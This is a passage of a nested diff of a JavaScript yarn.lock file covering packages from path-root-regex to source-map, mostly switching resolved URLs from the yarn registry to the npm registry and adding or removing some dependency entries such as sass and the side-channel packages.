+-  resolved "https://registry.yarnpkg.com/path-root-regex/-/path-root-regex-0.1.2.tgz#bfccdc8df5b12dc52c8b43ec38d18d72c04ba96d"
++  resolved "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz"
+   integrity sha512-4GlJ6rZDhQZFE0DPVKh0e9jmZ5egZfxTkp7bcRDuPlJXbAwhxcl2dINPUAsjLdejqaLsCeg8axcLjIbvBjN4pQ==
+ 
+ path-root@^0.1.1:
+   version "0.1.1"
+-  resolved "https://registry.yarnpkg.com/path-root/-/path-root-0.1.1.tgz#9a4a6814cac1c0cd73360a95f32083c8ea4745b7"
++  resolved "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz"
+   integrity sha512-QLcPegTHF11axjfojBIoDygmS2E3Lf+8+jI6wOVmNVenrKSo3mFdSGiIgdSHenczw3wPtlVMQaFVwGmM7BJdtg==
+   dependencies:
+     path-root-regex "^0.1.0"
+ 
+ picocolors@^0.2.1:
+   version "0.2.1"
+-  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-0.2.1.tgz#570670f793646851d1ba135996962abad587859f"
++  resolved "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz"
+   integrity sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==
+ 
+-picocolors@^1.0.0, picocolors@^1.1.0, picocolors@^1.1.1:
++picocolors@^1.1.1:
+   version "1.1.1"
+   resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+   integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+ 
+ picomatch@^2.3.1:
+   version "2.3.1"
+-  resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.1.tgz#3ba3833733646d9d3e4995946c1365a67fb07a42"
++  resolved "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz"
+   integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==
+ 
+ pify@^4.0.1:
+   version "4.0.1"
+-  resolved "https://registry.yarnpkg.com/pify/-/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
++  resolved "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz"
+   integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==
+ 
+ pkg-up@^3.1.0:
+   version "3.1.0"
+-  resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5"
++  resolved "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz"
+   integrity sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==
+   dependencies:
+     find-up "^3.0.0"
+ 
+ postcss-value-parser@^4.1.0:
+   version "4.2.0"
+-  resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514"
++  resolved "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz"
+   integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
+ 
+ postcss@8.4:
+@@ -1937,7 +1283,7 @@ postcss@8.4:
+ 
+ postcss@^6.0.11:
+   version "6.0.23"
+-  resolved "https://registry.yarnpkg.com/postcss/-/postcss-6.0.23.tgz#61c82cc328ac60e677645f979054eb98bc0e3324"
++  resolved "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz"
+   integrity sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==
+   dependencies:
+     chalk "^2.4.1"
+@@ -1946,7 +1292,7 @@ postcss@^6.0.11:
+ 
+ postcss@^7.0.32:
+   version "7.0.39"
+-  resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.39.tgz#9624375d965630e2e1f2c02a935c82a59cb48309"
++  resolved "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz"
+   integrity sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==
+   dependencies:
+     picocolors "^0.2.1"
+@@ -1954,111 +1300,39 @@ postcss@^7.0.32:
+ 
+ pretty-bytes@^5.3.0:
+   version "5.6.0"
+-  resolved "https://registry.yarnpkg.com/pretty-bytes/-/pretty-bytes-5.6.0.tgz#356256f643804773c82f64723fe78c92c62beaeb"
++  resolved "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz"
+   integrity sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==
+ 
+-process-nextick-args@~2.0.0:
+-  version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
+-  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
+-
+-promise-inflight@^1.0.1:
+-  version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/promise-inflight/-/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3"
+-  integrity sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==
+-
+-promise-retry@^2.0.1:
+-  version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/promise-retry/-/promise-retry-2.0.1.tgz#ff747a13620ab57ba688f5fc67855410c370da22"
+-  integrity sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==
+-  dependencies:
+-    err-code "^2.0.2"
+-    retry "^0.12.0"
+-
+ qs@^6.4.0:
+-  version "6.13.1"
+-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.13.1.tgz#3ce5fc72bd3a8171b85c99b93c65dd20b7d1b16e"
+-  integrity sha512-EJPeIn0CYrGu+hli1xilKAPXODtJ12T0sP63Ijx2/khC2JtuaN3JyNIpvmnkmaEtha9ocbG4A4cMcr+TvqvwQg==
++  version "6.14.0"
++  resolved "https://registry.yarnpkg.com/qs/-/qs-6.14.0.tgz#c63fa40680d2c5c941412a0e899c89af60c0a930"
++  integrity sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==
+   dependencies:
+-    side-channel "^1.0.6"
+-
+-quick-lru@^4.0.1:
+-  version "4.0.1"
+-  resolved "https://registry.yarnpkg.com/quick-lru/-/quick-lru-4.0.1.tgz#5b8878f113a58217848c6482026c73e1ba57727f"
+-  integrity sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==
++    side-channel "^1.1.0"
+ 
+ raw-body@~1.1.0:
+   version "1.1.7"
+-  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-1.1.7.tgz#1d027c2bfa116acc6623bca8f00016572a87d425"
++  resolved "https://registry.npmjs.org/raw-body/-/raw-body-1.1.7.tgz"
+   integrity sha512-WmJJU2e9Y6M5UzTOkHaM7xJGAPQD8PNzx3bAd2+uhZAim6wDk6dAZxPVYLF67XhbR4hmKGh33Lpmh4XWrCH5Mg==
+   dependencies:
+     bytes "1"
+     string_decoder "0.10"
+ 
+-read-pkg-up@^7.0.1:
+-  version "7.0.1"
+-  resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-7.0.1.tgz#f3a6135758459733ae2b95638056e1854e7ef507"
+-  integrity sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==
+-  dependencies:
+-    find-up "^4.1.0"
+-    read-pkg "^5.2.0"
+-    type-fest "^0.8.1"
+-
+-read-pkg@^5.2.0:
+-  version "5.2.0"
+-  resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-5.2.0.tgz#7bf295438ca5a33e56cd30e053b34ee7250c93cc"
+-  integrity sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==
+-  dependencies:
+-    "@types/normalize-package-data" "^2.4.0"
+-    normalize-package-data "^2.5.0"
+-    parse-json "^5.0.0"
+-    type-fest "^0.6.0"
+-
+-readable-stream@^2.0.1:
+-  version "2.3.8"
+-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.8.tgz#91125e8042bba1b9887f49345f6277027ce8be9b"
+-  integrity sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==
+-  dependencies:
+-    core-util-is "~1.0.0"
+-    inherits "~2.0.3"
+-    isarray "~1.0.0"
+-    process-nextick-args "~2.0.0"
+-    safe-buffer "~5.1.1"
+-    string_decoder "~1.1.1"
+-    util-deprecate "~1.0.1"
+-
+-readable-stream@^3.6.0:
+-  version "3.6.2"
+-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.2.tgz#56a9b36ea965c00c5a93ef31eb111a0f11056967"
+-  integrity sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==
+-  dependencies:
+-    inherits "^2.0.3"
+-    string_decoder "^1.1.1"
+-    util-deprecate "^1.0.1"
++readdirp@^4.0.1:
++  version "4.1.2"
++  resolved "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz"
++  integrity sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==
+ 
+ rechoir@^0.7.0:
+   version "0.7.1"
+-  resolved "https://registry.yarnpkg.com/rechoir/-/rechoir-0.7.1.tgz#9478a96a1ca135b5e88fc027f03ee92d6c645686"
++  resolved "https://registry.npmjs.org/rechoir/-/rechoir-0.7.1.tgz"
+   integrity sha512-/njmZ8s1wVeR6pjTZ+0nCnv8SpZNRMT2D1RLOJQESlYFDBvwpTA4KWJpZ+sBJ4+vhjILRcK7JIFdGCdxEAAitg==
+   dependencies:
+     resolve "^1.9.0"
+ 
+-redent@^3.0.0:
+-  version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/redent/-/redent-3.0.0.tgz#e557b7998316bb53c9f1f56fa626352c6963059f"
+-  integrity sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==
+-  dependencies:
+-    indent-string "^4.0.0"
+-    strip-indent "^3.0.0"
+-
+-require-directory@^2.1.1:
+-  version "2.1.1"
+-  resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
+-  integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
+-
+ resolve-dir@^1.0.0, resolve-dir@^1.0.1:
+   version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/resolve-dir/-/resolve-dir-1.0.1.tgz#79a40644c362be82f26effe739c9bb5382046f43"
++  resolved "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz"
+   integrity sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==
+   dependencies:
+     expand-tilde "^2.0.0"
+@@ -2066,352 +1340,182 @@ resolve-dir@^1.0.0, resolve-dir@^1.0.1:
+ 
+ resolve-from@^5.0.0:
+   version "5.0.0"
+-  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
++  resolved "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz"
+   integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==
+ 
+ resolve-pkg@^2.0.0:
+   version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/resolve-pkg/-/resolve-pkg-2.0.0.tgz#ac06991418a7623edc119084edc98b0e6bf05a41"
++  resolved "https://registry.npmjs.org/resolve-pkg/-/resolve-pkg-2.0.0.tgz"
+   integrity sha512-+1lzwXehGCXSeryaISr6WujZzowloigEofRB+dj75y9RRa/obVcYgbHJd53tdYw8pvZj8GojXaaENws8Ktw/hQ==
+   dependencies:
+     resolve-from "^5.0.0"
+ 
+-resolve@^1.10.0, resolve@^1.19.0, resolve@^1.9.0:
++resolve@^1.19.0, resolve@^1.9.0:
+   version "1.22.8"
+-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.8.tgz#b6c87a9f2aa06dfab52e3d70ac8cde321fa5a48d"
++  resolved "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz"
+   integrity sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==
+   dependencies:
+     is-core-module "^2.13.0"
+     path-parse "^1.0.7"
+     supports-preserve-symlinks-flag "^1.0.0"
+ 
+-retry@^0.12.0:
+-  version "0.12.0"
+-  resolved "https://registry.yarnpkg.com/retry/-/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b"
+-  integrity sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==
+-
+ rimraf@^2.6.2:
+   version "2.7.1"
+-  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
++  resolved "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz"
+   integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==
+   dependencies:
+     glob "^7.1.3"
+ 
+-rimraf@^3.0.2:
+-  version "3.0.2"
+-  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
+-  integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
+-  dependencies:
+-    glob "^7.1.3"
+-
+-safe-buffer@>=5.1.0, safe-buffer@~5.2.0:
++safe-buffer@>=5.1.0:
+   version "5.2.1"
+-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
++  resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz"
+   integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
+ 
+-safe-buffer@~5.1.0, safe-buffer@~5.1.1:
+-  version "5.1.2"
+-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
+-  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
+-
+ safe-json-parse@~1.0.1:
+   version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/safe-json-parse/-/safe-json-parse-1.0.1.tgz#3e76723e38dfdda13c9b1d29a1e07ffee4b30b57"
++  resolved "https://registry.npmjs.org/safe-json-parse/-/safe-json-parse-1.0.1.tgz"
+   integrity sha512-o0JmTu17WGUaUOHa1l0FPGXKBfijbxK6qoHzlkihsDXxzBHvJcA7zgviKR92Xs841rX9pK16unfphLq0/KqX7A==
+ 
+ "safer-buffer@>= 2.1.2 < 3.0.0":
+   version "2.1.2"
+-  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
++  resolved "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz"
+   integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
+ 
+-sass-graph@^4.0.1:
+-  version "4.0.1"
+-  resolved "https://registry.yarnpkg.com/sass-graph/-/sass-graph-4.0.1.tgz#2ff8ca477224d694055bf4093f414cf6cfad1d2e"
+-  integrity sha512-5YCfmGBmxoIRYHnKK2AKzrAkCoQ8ozO+iumT8K4tXJXRVCPf+7s1/9KxTSW3Rbvf+7Y7b4FR3mWyLnQr3PHocA==
+-  dependencies:
+-    glob "^7.0.0"
+-    lodash "^4.17.11"
+-    scss-tokenizer "^0.4.3"
+-    yargs "^17.2.1"
+-
+-scss-tokenizer@^0.4.3:
+-  version "0.4.3"
+-  resolved "https://registry.yarnpkg.com/scss-tokenizer/-/scss-tokenizer-0.4.3.tgz#1058400ee7d814d71049c29923d2b25e61dc026c"
+-  integrity sha512-raKLgf1LI5QMQnG+RxHz6oK0sL3x3I4FN2UDLqgLOGO8hodECNnNh5BXn7fAyBxrA8zVzdQizQ6XjNJQ+uBwMw==
++sass@^1.89.2:
++  version "1.89.2"
++  resolved "https://registry.npmjs.org/sass/-/sass-1.89.2.tgz"
++  integrity sha512-xCmtksBKd/jdJ9Bt9p7nPKiuqrlBMBuuGkQlkhZjjQk3Ty48lv93k5Dq6OPkKt4XwxDJ7tvlfrTa1MPA9bf+QA==
+   dependencies:
+-    js-base64 "^2.4.9"
+-    source-map "^0.7.3"
++    chokidar "^4.0.0"
++    immutable "^5.0.2"
++    source-map-js ">=0.6.2 <2.0.0"
++  optionalDependencies:
++    "@parcel/watcher" "^2.4.1"
+ 
+ select2@4.1.0-rc.0:
+   version "4.1.0-rc.0"
+-  resolved "https://registry.yarnpkg.com/select2/-/select2-4.1.0-rc.0.tgz#ba3cd3901dda0155e1c0219ab41b74ba51ea22d8"
++  resolved "https://registry.npmjs.org/select2/-/select2-4.1.0-rc.0.tgz"
+   integrity sha512-Hr9TdhyHCZUtwznEH2CBf7967mEM0idtJ5nMtjvk3Up5tPukOLXbHUNmh10oRfeNIhj+3GD3niu+g6sVK+gK0A==
+ 
+ select@^1.1.2:
+   version "1.1.2"
+-  resolved "https://registry.yarnpkg.com/select/-/select-1.1.2.tgz#0e7350acdec80b1108528786ec1d4418d11b396d"
++  resolved "https://registry.npmjs.org/select/-/select-1.1.2.tgz"
+   integrity sha512-OwpTSOfy6xSs1+pwcNrv0RBMOzI39Lp3qQKUTPVVPRjCdNa5JH/oPRiqsesIskK8TVgmRiHwO4KXlV2Li9dANA==
+ 
+-"semver@2 || 3 || 4 || 5":
+-  version "5.7.2"
+-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8"
+-  integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==
+-
+-semver@^7.3.4, semver@^7.3.5:
+-  version "7.6.3"
+-  resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.3.tgz#980f7b5550bc175fb4dc09403085627f9eb33143"
+-  integrity sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==
+-
+-set-blocking@^2.0.0:
+-  version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
+-  integrity sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==
+-
+-set-function-length@^1.2.1:
+-  version "1.2.2"
+-  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
+-  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
++side-channel-list@^1.0.0:
++  version "1.0.0"
++  resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad"
++  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
+   dependencies:
+-    define-data-property "^1.1.4"
+     es-errors "^1.3.0"
+-    function-bind "^1.1.2"
+-    get-intrinsic "^1.2.4"
+-    gopd "^1.0.1"
+-    has-property-descriptors "^1.0.2"
+-
+-shebang-command@^2.0.0:
+-  version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
+-  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
+-  dependencies:
+-    shebang-regex "^3.0.0"
++    object-inspect "^1.13.3"
+ 
+-shebang-regex@^3.0.0:
+-  version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
+-  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
+-
+-side-channel@^1.0.6:
+-  version "1.0.6"
+-  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.6.tgz#abd25fb7cd24baf45466406b1096b7831c9215f2"
+-  integrity sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==
++side-channel-map@^1.0.1:
++  version "1.0.1"
++  resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42"
++  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
+   dependencies:
+-    call-bind "^1.0.7"
++    call-bound "^1.0.2"
+     es-errors "^1.3.0"
+-    get-intrinsic "^1.2.4"
+-    object-inspect "^1.13.1"
+-
+-signal-exit@^3.0.7:
+-  version "3.0.7"
+-  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9"
+-  integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==
++    get-intrinsic "^1.2.5"
++    object-inspect "^1.13.3"
+ 
+-smart-buffer@^4.2.0:
+-  version "4.2.0"
+-  resolved "https://registry.yarnpkg.com/smart-buffer/-/smart-buffer-4.2.0.tgz#6e1d71fa4f18c05f7d0ff216dd16a481d0e8d9ae"
+-  integrity sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==
+-
+-socks-proxy-agent@^6.0.0:
+-  version "6.2.1"
+-  resolved "https://registry.yarnpkg.com/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz#2687a31f9d7185e38d530bef1944fe1f1496d6ce"
+-  integrity sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==
+-  dependencies:
+-    agent-base "^6.0.2"
+-    debug "^4.3.3"
+-    socks "^2.6.2"
+-
+-socks-proxy-agent@^7.0.0:
+-  version "7.0.0"
+-  resolved "https://registry.yarnpkg.com/socks-proxy-agent/-/socks-proxy-agent-7.0.0.tgz#dc069ecf34436621acb41e3efa66ca1b5fed15b6"
+-  integrity sha512-Fgl0YPZ902wEsAyiQ+idGd1A7rSFx/ayC1CQVMw5P+EQx2V0SgpGtf6OKFhVjPflPUl9YMmEOnmfjCdMUsygww==
++side-channel-weakmap@^1.0.2:
++  version "1.0.2"
++  resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea"
++  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
+   dependencies:
+-    agent-base "^6.0.2"
+-    debug "^4.3.3"
+-    socks "^2.6.2"
++    call-bound "^1.0.2"
++    es-errors "^1.3.0"
++    get-intrinsic "^1.2.5"
++    object-inspect "^1.13.3"
++    side-channel-map "^1.0.1"
+ 
+-socks@^2.6.2:
+-  version "2.8.3"
+-  resolved "https://registry.yarnpkg.com/socks/-/socks-2.8.3.tgz#1ebd0f09c52ba95a09750afe3f3f9f724a800cb5"
+-  integrity sha512-l5x7VUUWbjVFbafGLxPWkYsHIhEvmF85tbIeFZWc8ZPtoMyybuEhL7Jye/ooC4/d48FgOjSJXgsF/AJPYCW8Zw==
++side-channel@^1.1.0:
++  version "1.1.0"
++  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9"
++  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
+   dependencies:
+-    ip-address "^9.0.5"
+-    smart-buffer "^4.2.0"
++    es-errors "^1.3.0"
++    object-inspect "^1.13.3"
++    side-channel-list "^1.0.0"
++    side-channel-map "^1.0.1"
++    side-channel-weakmap "^1.0.2"
+ 
+-source-map-js@^1.2.1:
++"source-map-js@>=0.6.2 <2.0.0", source-map-js@^1.2.1:
+   version "1.2.1"
+-  resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.2.1.tgz#1ce5650fddd87abc099eda37dcff024c2667ae46"
++  resolved "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz"
+   integrity sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==
+ 
+ source-map@^0.5.3:
+   version "0.5.7"
+-  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
++  resolved "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz"
+   integrity sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==
+ 
+ source-map@^0.6.1:
+   version "0.6.1"
+-  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
++  resolved "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz"
+   integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
+ 
+-source-map@^0.7.3:
+-  version "0.7.4"
+-  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.4.tgz#a9bbe705c9d8846f4e08ff6765acf0f1b0898656"
